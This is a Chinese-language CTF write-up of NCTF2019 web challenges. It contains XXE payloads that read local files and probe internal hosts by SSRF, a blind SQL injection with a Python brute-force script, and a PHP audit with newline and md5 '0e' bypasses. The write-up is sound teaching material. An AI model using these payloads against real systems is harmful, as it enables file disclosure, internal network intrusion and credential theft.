前言

NCTF2019…..

WEB

1.Fake XML cookbook

用户名字段存在有回显xxe，payload直接打，flag在根目录下：

<!DOCTYPE ANY [

    <!ENTITY test SYSTEM "file:///flag">

]>

<user><username>&test;</username><password>123</password></user>

1574535490793

2.True XML cookbook

再把上一题的payload打一遍，发现已经不行了，但是依旧有回显．

1574535803233

没有找到flag的位置…..试着读源码，发现啥也都没有

最后发现是使用xxe用ssrf打内网,这里有几个文件会记录内网下的ip

1	/etc/hosts，/proc/net/arp，/proc/net/fib_trie

1574536023673

一个个试，在192.168.1.8获得flag

1574536099610

3.sqli

fuzz测试下发现被ban掉的字符有：

1	, ' " and or # - + = 空格

这里的sql注入的查询语句是

1	select * from username='' and password=''

过滤掉单引号，用反转义来闭合，但是又过滤了所有的注释符，考虑使用%00来截断末尾的单引号

payload如下：

1	username=123\&passwd=\|\|1;%00

1574536786575

302至welcome.php，所以现在是登录失败和登录成功的差别了，要盲注．

fuzz测试发现，过滤了substr(),mid(),select()

截取字符串的还有right()和left()，但是逗号被过滤了，剩下一个ascii()可以利用，然后=<>like被过滤了，剩下regexp可以利用，而且既然过滤了select ,只能构造简单判断字段的语句．

payload如下：

1	username=123\&passwd=\|\|1;%00

1574604135406

其中69=’i’.encode(‘hex’)

其中6e=’n’.encode(‘hex’)

其中63=’c’.encode(‘hex’)

先通过ascii手动爆破出第一位

1	username=123\&passwd=\|\|passwd//regexp//121;%00

发现是y

exp如下：

import requests
url = "http://nctf2019.x1ct34m.com:40005/index.php"
string= "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_"
password="y"
hex_password="0x79"
for i in range(1,50):
    for j in string:
        s = j.encode('hex')
        payload  = "/**/||passwd/**/regexp/**/"+hex_password+s+";"+chr(0)
        data = {
           "username":"123\\",
           "passwd":payload
        }
        r = requests.post(url,data=data)
        if "try to make" not in r.text:
            password = password+j
            hex_password= hex_password+s
            print password
            break

1574539118753

爆出密码：you_will_never_know7788990

登陆任意用户名即可获得flag

4.easyphp

代码审计题

<?php 
error_reporting(0); 
highlight_file(__file__); 
$string_1 = $_GET['str1']; 
$string_2 = $_GET['str2']; 
$cmd = $_GET['q_w_q']; 


//1st 
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){ 
    echo '1st ok'."<br>"; 
} 
else{ 
    die('23333333'); 
} 


//2nd 
if(is_numeric($string_1)){ 
    $md5_1 = md5($string_1); 
    $md5_2 = md5($string_2); 
    if($md5_1 != $md5_2){ 
        $a = strtr($md5_1, 'cxhp', '0123'); 
        $b = strtr($md5_2, 'cxhp', '0123'); 
        if($a == $b){ 
            echo '2nd ok'."<br>"; 
        } 
        else{ 
            die("can u give me the right str???"); 
        } 
    }  
    else{ 
        die("no!!!!!!!!"); 
    } 
} 
else{ 
    die('is str1 numeric??????'); 
} 


//3rd 
$query = $_SERVER['QUERY_STRING']; 
if (strlen($cmd) > 8){ 
    die("too long :("); 
} 

if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){ 
    $arr = explode(' ', $cmd); 
    if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){ 
        if(substr_count($cmd, 'cat') === 0){ 
            system($cmd); 
        } 
        else{ 
            die('ban cat :) '); 
        } 
    } 
    else{ 
        die('bad guy!'); 
    } 
} 
else{ 
    die('nonono _ is bad'); 
} 
?> 
23333333

第一部分：用%0a绕过preg_match()

1	payload：?num=23333%0a

第二部分：

首先$md5_1不等于$md5_2,这里可以看到$string_1是需要经过is_numeric()的检测

然后$a=$b过第二层，这里考虑使用到0e的特点．

所以最终的思路是，爆破一个数字，他的md5值其中除数字外只包含’cxhp’的其中一个或多个．这样在经过strtr()替换后，$a就是纯数字，再找一个符合0e特点的数字

exp:

import hashlib
def md5(s):
	return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()
for i in range(1,9999999):
    flag = 1
    j = md5(str(i))
    print j + "   "+str(i)
    if j[0:2] == '0e':
        for z in j[2:]:
            if z not in "0123456789c":
                flag = 0
                break
        if flag == 1:
            print "------------------md5("+str(i)+")="+j
            break